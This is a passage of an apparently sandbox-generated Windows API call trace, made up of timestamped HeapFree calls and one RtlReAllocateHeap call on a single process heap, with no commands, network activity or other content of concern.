	[0175.367] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.369] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.369] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.369] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.369] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.369] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.370] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.370] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.371] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.372] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.373] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.374] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.374] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.375] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.376] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.376] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.377] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.378] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.379] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.380] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.381] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.382] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.383] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.383] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.387] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.388] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.389] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.390] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.391] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.398] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0175.398] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.399] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.443] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.457] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.478] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.481] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.484] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.487] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.490] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.493] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.496] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.588] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.596] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.600] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.605] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.610] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.615] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.619] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.619] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0175.620] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0175.792] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0175.794] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0175.794] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0175.797] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0175.800] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0175.802] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0175.803] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0175.807] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x450fff0, Size=0x80000) returned 0x5128020
	[0175.818] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.818] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0175.820] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0175.923] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.923] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0175.924] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.924] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.924] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.924] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.926] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.926] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.926] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.928] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.929] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.931] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.931] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.933] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0175.935] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.935] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0175.936] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0175.936] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.251] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.251] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.255] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.255] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.255] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.264] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0176.738] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.739] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.739] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.740] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.740] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.740] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.740] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.740] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.740] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.740] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.741] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.741] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.741] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.741] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.741] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.741] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.742] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.742] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.742] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.742] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.743] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.743] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.743] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.743] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.744] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.744] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.744] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.744] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.745] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.745] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.745] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.745] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.745] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.747] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.747] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.747] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.747] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.747] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.747] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.751] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.754] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.758] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.759] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.759] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.759] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0176.760] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.805] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.822] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.822] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0176.825] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0177.043] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0177.043] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0177.047] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0177.047] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0177.164] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0177.165] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0177.165] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0177.207] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.222] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0177.223] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0177.223] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.223] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.223] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0177.227] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0177.227] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0177.231] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.231] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.232] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.232] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0177.236] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0177.236] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0177.242] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0177.242] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0177.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0177.368] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0177.373] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0177.376] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.376] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.379] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.380] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.381] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.382] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.385] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.388] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.388] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0177.394] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.396] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0177.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0177.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0177.403] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0177.404] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0178.036] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.036] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.036] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.037] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.041] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.042] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0178.042] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.043] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.043] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.044] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.047] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.047] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.048] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.049] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.050] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.051] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.052] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.052] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.053] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.054] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.055] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.055] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.056] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.057] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.058] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.059] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.061] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.061] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.062] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.063] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.064] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.065] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.065] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.066] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.067] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
